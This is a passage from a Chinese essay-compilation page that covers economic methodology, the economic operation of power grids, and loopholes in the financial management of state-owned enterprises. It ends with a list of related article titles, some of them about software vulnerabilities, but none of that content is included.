规范分析法即根据一定价值判断,提出行为标准,作为决策的依据,并制定出相应的行为政策。这种方法回答的是“应该怎么样”的问题。无论是经济学还是其它学科都需要科学评判的标准。规范分析法给经济运行所指的方向是积极的,对未来经济的发展具有指导意义,社会发展的方方面面也都离不开规范分析,具体表现为:(1)文化经济建设的需要。规范的、先进的文化能够推动经济发展,反之,消极的、腐朽的文化会阻碍经济建设。(2)制度建设的需要。任何制度都必须是规范的。无论是国家制度还是小学生日常行为规则,如果没有做到规范,很多人就会钻法律的空子,做一些损人利己的事情,导致原有的制度安排无效率。规范的制度有利于良好秩序的形成,能够提高人们的积极性,人们积极性的提高又有利于制度的建设。(3)构建和谐社会的需要。价值观是非优劣选择的核心应追求和谐,和谐社会的构建首先需要规范人们的价值观,只有多元化的价值观都规范到一元价值观———追求和谐上来时,和谐社会就指日可待了。(4)“以人为本”的时代需要。坚持“以人为本”就要把人及其需要作为发展的最终目的。在衣食住行等物质生活基本得到满足的今天,人们的精神需求呈现出多样化的特点,有的人坚持为共产主义事业奋斗终身,而有的人却把嫖赌等恶行作为需求,这就需要在满足人们的需要之前先规范分析,鼓励积极的精神需求,抑制消极的需求,防止社会不良风气的蔓延。
4 实证分析和规范分析相结合
实证分析和规范分析各有利弊。实证分析对经济现象的解释更有说服力,使经济学的理论框架更加系统化,逻辑推理过程直观精确,能够得出客观规律,但忽略了价值判断,没有人本主义思想,没有看到人的主观能动性对客观事物的反作用,也不考虑运行结果是否可取。规范分析以一定的价值判断为基础,考虑结果的可取性,并制定要达到社会目标所应采取的政策,但无法使理论精确表述。这在一定意义上也说明了实证分析和规范分析应当结合,互相补充,不能只简单地推崇其中的任何一个,也没有必要分清(其实也根本分不清)到底谁会是经济学的最终立场,只能说在某一阶段或某个学派是规范分析为主还是以实证分析为主。早期西方经济学主张从规范角度分析经济问题,现代西方经济学以实证分析为主要分析方法。在写论文时既离不开实证分析,也离不开规范分析。选题和论文最后的对策往往采用规范分析方法,中间论证部分一般以实证分析方法为主,以便增强文章的说服力。
摘要:首先介绍了西方经济学发展史上实证分析和规范分析的争论;然后较详细地介绍了实证分析的两种方法:小样本的案例研究和大样本的计量分析。规范分析是对事物的定性描述;实证分析和规范分析各有利弊。经济学应将两者结合,不能只推崇其中的任何一个,也不能简单地说谁会是经济学的最终立场。
关键词:实证分析,规范分析,经济学
参考文献
[1]廖士祥:《经济学方法论》[M];上海社会科学院出版社,1991。
[2]马克·布劳格:《经济学方法论》[M];北京大学出版社,1990。
[3]李增刚:《对“经济学方法论”的几点思考》[J];《河北经贸大学学报》2004(3)。
[4]傅耀、颜鹏飞:《西方经学方法论的演变和最新发展》[J];《国外社会科学》2003(2)。
[5]李子奈:《计量经济学》[M];高等教育出版社,2000。
[6]张海峰:《新制度经济学的方法论特色》[J];《北京工商大学学报(社会科学版)》2003(4)。
电网经济运行分析及对策分析 篇11
关键词:电网;经济运行;分析;问题;对策
中图分类号:F41 文献标识码:A 文章编号:1674-7712 (2012) 16-0086-01
一、前言
电力是非常方便并且优质的二次能源,因此被广泛应用在生产和消费的各个领域,在这种情况之下,电力工业本身就成为了能源耗能大户,从各方面的资料显示,在电网运行的整个过程中,各种能耗是非常巨大的,电力系统本身负荷业很大,所以就必须要依靠高新科技和能源的利用来提高经济运行的效率,但是综合各种条件来说,电网经济运行本身实用性太强,这样一来,就很难达到节能的要求,所以对于各种经济运行效率的要求来说,还需要非常高新的技术才能实现目标。
二、电网经济运行的基本原则
在电网的运行过程中,需要遵循一些基本的原则,只有严格的遵循这些基本的原则,才能够保证电网在运行的过程中不会发生亏损,也可以保证电网经济运行的效益,电网运行的基本原则主要有三点,分别是科学性原则,系统性原则,效益性原则,因为只有保证电网运行的科学性,才能保证电网运行不发生错误,只有保证电网运行的系统性,才能保证电网的各个运行过程和步骤是整个一个系统,不会发生运行紊乱,只有保证电网运行的效益性,电网运行才能的到必要的收益,所以在这三个原则的基本要求之下,就必须要保证电网运行符合基本的原则要求,才能保证电网的运行可靠,因为整个电网的运行是非常复杂的一个过程,因此需要积极的进行技术的探索和追求,才能不断地进步,必须在电网经济运行的过程中,保证基本的供电量,还需要保证有较少的功耗,所以电网经济运行时非常系统复杂的一个工作,必须要系统性的看待这个问题。
三、电网经济运行的主要的形式
电网经济运行的主要的形式是指在具体的实践中电网运行的形式,并且是在保证了基本的供电质量的同时,还需要保证电网的安全运行,因为如果电网不能安全的进行工作,那么再经济节约的方式也是非常的不可取的,所以必须要保证电网在安全运行的前提之下还有良好的收益,所以就需要对电网中各种工作的器件进行选择,这样才能保证电网的运行安全以及运行效益,从而还可以很的程度上降低电网损耗,电网经济运行的主要形式包括了许多的方面,不能单一的做出评论,但是现在主要的运行方式是针对如何降低功耗来说的,因此主要包括的内容还是非常复杂的,主要包括:变电站以及变压器的经济运行方式,在这其中包括有好几种特殊的方式,但是整体来说,主要的运行方式都是为了降低电网运行的功耗,达到一种经济运行的结果。
四、主要影响电网经济运行的问题
电网经济运行受到影响的方面非常多,但是主要影响电网经济运行的还是电网的损耗问题,因为一些陈旧的电网的运行方式,电网在云形的过程中会发生许多得损耗,比如电网改造不合理,在进行工作的时候就会增加电能的损耗,除此之外,许多原因造成了电网送变电容量大大的不足,因此在实际的电网运行中出现临时断电等严重的问题,电网供电半径过长,从而电力在输送的过程中发生大量的损耗,这些问题中有不少是非常严重的,不但影响了供电的安全性还影响了输送的电的质量,很大程度上还能够影响线损。所以必须要针对电网的运行设计新的运行方式,才能进行电力网改造,这是挑战也是机遇,还可以影响电网经济运行的问题主要有变压器的运行方式不可靠,一旦发生问题,就很难进行改造和弥补,所以在变压器的选择上也需要做出一些改善,管理电网运行也是非常重要的一个问题,因为任何系统的有效运行都是需要良好的管理得,如果不能进行有效的管理,那么电网实现经济运行就变得很困难,所以需要解决的问题还是很多的。
五、解决电网经济运行的主要的对策和方法
(一)进行电网管理培训,设置良好有效的电网管理团队
如果想进行电网的改革,首先就要从电网的管理方面入手,因为任何的事物都必须有良好有效的管理手段才能实现良好的经济效益,所以在电网的管理中也需要今昔国内有效的管理培训,让工作人员能有效地掌握各种方法,这样一来就能够保证电网的运行在有效的管理之下,才能确保运行的效率,同时,还要建设一个快捷的管理团队,因为团队的工作效能是非常大,一旦有了一个优秀的管理团队,就可以充分的利用团队的优势进行各种工作,并且工作也可以有条不紊的进行,这样就可以节约很多时间和金钱,也可以增加企业的效益和工作效率,所以组建优秀的管理团队就能保证电网的各项改革工作顺利的进行。
(二)利用高新技术合理安排电网中的变压器的运行方式,从而保证变压器的可靠和经济运行
在各种高新技术的应用过程中,需要保证技术的安全性、经济运行的合理性,并且要配合现有的电网的设备、电网的运行元件,尽量节约成本,争取达到不投资或少投资的目的和效果,可以在实际的应用中采取一些必要的技术措施,比如在电网运行的方式上进行选择,尽量选择运行成本较低的方式,还可以适当的调整电网运行的负荷,在运行中以较少的成本提高功率因数,利用更加先进的变压器,对陈旧的电网进行适当的改造等,这样就可以在一定情况下减少电网运行的成本,并且能够达到一定的功效,比如在传输相同电量的同时,可以较大程度上减少系统损耗,从而可以大大地提高企业的经济运行效益。
六、结束语
总而言之,电网的经济运行需要依靠非常多的人和事的协调运行,所以在实际的实施过程中,还需要加强对电网的充分学习,并且积极地进行电网的改革,学习各种先进的技术,才能保证电网的良好的运行,才能逐渐的实现电网经济运行的目标,保证电网企业的效益。
参考文献:
[1]吕延会,石元明.电网经济运行的优化方法与步骤[J].油气田地面工程,2011(2).
[2]刘晶,刘忠彦.电网经济运行的技术措施[J].硅谷,2012(6).
[3]赵冰.对电网经济运行相关问题的探讨[J].科技致富向导,2011(15).
[4]刘世英.浅谈电网经济运行的技术措施[J].中国新技术新产品,2011(16).
漏洞分析 篇12
财务管理的概念是随着企业的发展而形成的,通常其管理的内容都十分复杂,主要指的是在企业经营的过程中,对于财务内容进行科学的计划和合理的推测,以及财务方面的统筹和协调等,这些工作被统称为财务管理。企业在经营的过程中,最离不开的就是财务管理,每一个环节都需要结合具体的工作开展。由于财务管理的水平还直接影响到企业的经营情况,在企业的内部管理中,财务管理作为企业发展中最重要的一部分,都会主张用最少的投入,获得最好的管理效果。而在国有企业中,财务管理的最主要智能是采用科学的资金配置,以促进最大程度的资金利用率,从而使企业获得利益的最大化。另外,企业的财务管理人员还会对内部的财务工作进行相应的监督和审查,确保资金的正确流向,以保障企业发展的正常运转。总的来讲,企业管理的核心就是财务管理,它不仅是提高企业经营的最佳手段,还是促进国有企业改革和发展的重要途径。
二、国有企业财务管理漏洞的形成原因
1.监督力度不足
首先,企业内部监事会的存在就是为了监督董事会以及经理层的机构,但我国企业内部的监督管理机制都是流于形式,缺乏监督的作用,从而导致监督力度不足的问题,其最主要的原因是由于监事会内的工资和人员选定都是由监督对象董事和经营者来决定的。据调查统计,有85%的董事会没有明确表示过其违规违纪的行为,还有56%的监事会根本没有做出相应的财务检查。其次,中介机构的利益与企业相同,因此很难做到监督企业的财务管理工作,也无法较为客观的给出相关评价和审计报告。除此之外,政府部门的监督无力也是导致企业财务管理出现漏洞的问题之一。在监督的过程中,一般查出来的问题较多,能够依法处理的较少,处罚不到位自然监督也缺乏力度。
2.企业制度体系不完善
我国企业的财务管理体系都是科研单位和政府部门共同完成的,但大部分是借鉴了西方的会计制度,并在其基础上进行了相应的完善和修正。同时又由于我国企业的主体内容不同于其他西方企业,我国利益的主体是政府,因此其经营的所有制也不一样,代表着不同的利益。这种情况下制定的会计制度,就不能更好的将我国企业的利益需求反映出来,各企业也就会开始寻找制度上的漏洞,更有甚者还会为达目的采取做假账的手段。另外,会计制度的内容繁多,准则变化快。八项减值准备,理论性较强,但实际操作性较差,致使客观上实际发展情况的不确定,会计人员的判断与标准存在出入,从而导致了会计信息的偏差。
三、国有企业财务管理存在的问题
1.资产结构失衡
目前,由于我国非经营性企业所占资产的比例较大,国有企业开始出现资产结构不协调的现象,给企业的发展造成了严重的负面影响和经济负担。对较早发展的国有企业而言,又由于大多数产品都属于第二产业产品,其技术含量较低,市场的销路较窄,这不仅会占用大量的资金,在新产品研发方面还会存在资金不足的情况,从而导致了资产结构的不平衡。因此,从国有企业的角度来看,面对这些产品类型落后和固定资产陈旧的发展现状,在企业内部的财务管理上必定会出现管理漏洞。除此之外,还由于国有企业的资金主要来源于负债,对于利息和本金的偿还压力比较大,导致资金的流动不畅通,从而降低了企业的周转能力,使其内部的资产结构失衡。
2.审计监督不完善
国有企业的财务管理工作的审计监督不完善,缺乏具体的财务监督管理系统。我国目前大部分的国有企业都设有审计部门,但在审计的过程中,其运行的规则还不够完善,内部的监督体系形同虚设,存在着较多的形式主义现象。另外,还由于监事会对财务管理工作没有进行具体的有效监督,从而导致了监督管理体系的缺失,使董事会以及高级管理人员之间的制约出现了机制失调的情况,严重时甚至会出现资产流失,不法分子也会在此时为谋求个人利益而损害公司利益。
3.财务基础工作薄弱
就目前来看,一些企业的基础财务工作都比较薄弱,工作水平不高且管理财务的方式落后,企业内部并没有完善的制度和健全的体系。在建立相应的规章制度时缺乏执行力度,没有一套严格高效的管理方式,致使像质量管理和定额管理这样基础性的内容还是简单粗放,并没有将真正的财务管理深入到企业的经营中去,难以发挥财务管理的预防性作用。另外,财务在管理人员方面,责任制的划分还不够明确,由于一些管理人员素质不高,参与违法活动,很可能会造成企业财务管理工作的薄弱。
四、国有企业财务管理治理对策及建议
1.完善会计制度和准则
会计制度和准则的制定是由企业和政府共同管理的,其委员会也是由具有丰富经验的财务管理人员和政府官员组成,为研究更适合我国经济发展的制度做贡献。在企业的经营过程中,如果发现做假账,首先应找出虚假的信息来源,如果不是政府的责任,那么政府相关管理部门就要严惩企业的第一责任人,责令不能再继续担任企业的经营者,但如果责任在于会计人员,则要交给企业处理。《会计法》中规定,单位负责人要对本单位的会计资料和工作的完整性和真实性负责,并保证财务报告的真实和完整,不许随意授权、指使会计机构,对不符合以上规定的行为,将会视情节严重给予不同的行政处分,严重者甚至会追究其刑事责任。因此,只有不断的完善和制定有关的法律制度,严惩企业中做假账的现象,提高做假账的风险,同时增强各项制度的可操作性,才能最终实现社会主义市场经济下的正常经营,才能真正做到保护资产结构的完整性。
2.加强监督手段和力度
正常情况下,以企业的角度来看,首先加强企业内部的监督手段和监管力度是极其重要的。企业的董事会、监事会和股东大会都相应的发挥着各自的工作职能,防止内部人员随意暗箱操作和滥用职权。其次,由于企业单位的财务责任人和总会计师的工资都是由上一级财务部门统一管理的,任何单位都不能自行任命财务主管,同时还会实施轮岗和会计委派的相关管理制度。除此之外,还要转变现有的委托审计制度,由企业统一出资,并由资产的所有者对注册的会计师事务所和审计事务所进行委托审计工作,最终再交给监督管理会计师行业的机构统一管理审计费用。在此基础上,要提高审计师和会计师的专业素质,增强中介机构的评估、审计等监管的力度。还要加强对中介机构的评估、审计的监管工作,提高做假账的惩罚力度,如发现提供虚假信息者,要第一时间将责任人绳之以法。但要注意的是不能同时做同一企业的咨询业务。
3.强化资金集中管理
加强对企业资金的集中化管理也是深化国有企业财务管理的一项重要途径。就目前我国企业自有的资金管理来看,主要都是由企业的管理部门负责的,其资金的集中体现在企业的调度权、运作权和融资权上。首先,企业资金的调度权主要集中于资金的综合管理部门,有着“收支两条线,零余额管理”的管理体制。为此,企业通常会采取不同的收支方式,利用计算机系统,在调度总商户的基础上,全面实现企业内部资金收支的两条线,同时完善当天自动转账的零余额管理。从而有效的解决了资金沉淀的问题,给企业资金的集中化管理提供了良好的运营条件。其次,还需要遵循集中化的经营管理模式,本着发挥企业规模效应、实现企业利益最大化的经营原则,同时坚持资金高度集中的统一性管理。在不断拓展资金渠道上,积极提升企业资金规模的运作,努力建成高效的资金运营网络。而融资权主要体现在票据贴现、国债融通以及透支授信等常规的融资方式中,目的是为了解决经济市场中短期的融资需求,从而实现企业资金成本的最小化。
摘要:国有企业一般都是垄断性的大型集团,在技术实力、管理实力和资金实力方面都有着较高的水平,促进着我国经济的发展。但国有企业也同样存在财务管理方面的问题。由于财务管理关系到国有企业的发展水平,财务管理出现问题就会给企业带来十分严重的负面影响,有时甚至会导致企业出现资金短缺和入不敷出等现象。下面本文就以国有企业财务的管理为基础,分析其管理过程中存在的漏洞,并提出相应治理对策。
关键词:国有企业,财务管理,漏洞分析,治理对策
参考文献
[1]金咸喜.我国国有企业财务治理问题研究[J].中国集体经济济,2011,36:141-142.
[2]汤树林.国有企业财务管理中存在的问题及对策[J].经济研究导刊,2013,11(15).
[3]黄国良,陈俭.论财务管理理论的局限性和财务战略管理[J].郑州经济管理干部学院学报,2003,18(2).
【漏洞分析】推荐阅读:
ASP技术漏洞分析02-08
网络漏洞扫描原理分析06-14
ARP协议漏洞分析论文11-16
nginx fastcgi配置失误+解析漏洞引发的漏洞漏洞预警01-19
JEECMS漏洞(文件上传)漏洞预警09-09
帝国CMS 留言本多字节漏洞漏洞预警10-10
MetInfov5.1.3 任意文件上传漏洞漏洞预警10-24
注入漏洞10-21